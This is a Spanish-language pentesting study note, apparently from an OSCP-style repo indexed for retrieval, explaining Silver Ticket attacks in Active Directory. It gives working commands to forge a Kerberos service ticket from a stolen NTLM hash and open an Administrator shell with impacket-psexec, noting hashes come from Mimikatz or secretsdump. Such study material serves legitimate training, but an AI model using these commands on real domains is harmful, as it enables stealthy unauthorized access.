7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
22 lines
1 KiB
Markdown
22 lines
1 KiB
Markdown
# Silver Ticket
|
|
|
|
> Forjas un **TGS** para **un servicio concreto** usando el hash NTLM de **esa cuenta de servicio** (no del krbtgt). Más sigiloso que el Golden Ticket: **no habla con el DC**. Fuente: oscp.trastero.org/activedirectory.
|
|
|
|
## Golden vs Silver
|
|
```
|
|
Golden Ticket → hash de krbtgt → TGT → CUALQUIER servicio del dominio (todopoderoso)
|
|
Silver Ticket → hash del servicio (ej. cuenta del SQL/CIFS) → TGS → SOLO ese servicio
|
|
```
|
|
El Silver no toca el KDC → casi indetectable, pero limitado al servicio.
|
|
|
|
## Forjar
|
|
```bash
|
|
impacket-ticketer -nthash <HASH_SERVICIO> -domain-sid S-1-5-21-... \
|
|
-domain corp.local -spn cifs/server.corp.local Administrator
|
|
export KRB5CCNAME=Administrator.ccache
|
|
impacket-psexec -k -no-pass corp.local/Administrator@server.corp.local
|
|
```
|
|
- El hash del servicio sale de Mimikatz / secretsdump (la cuenta de máquina o de servicio).
|
|
- `-spn` define a qué servicio aplica (`cifs/`, `mssql/`, `http/`, `host/`...).
|
|
|
|
Relacionado: Golden Ticket · Kerberos · Pass-the-Hash · OSCP MOC
|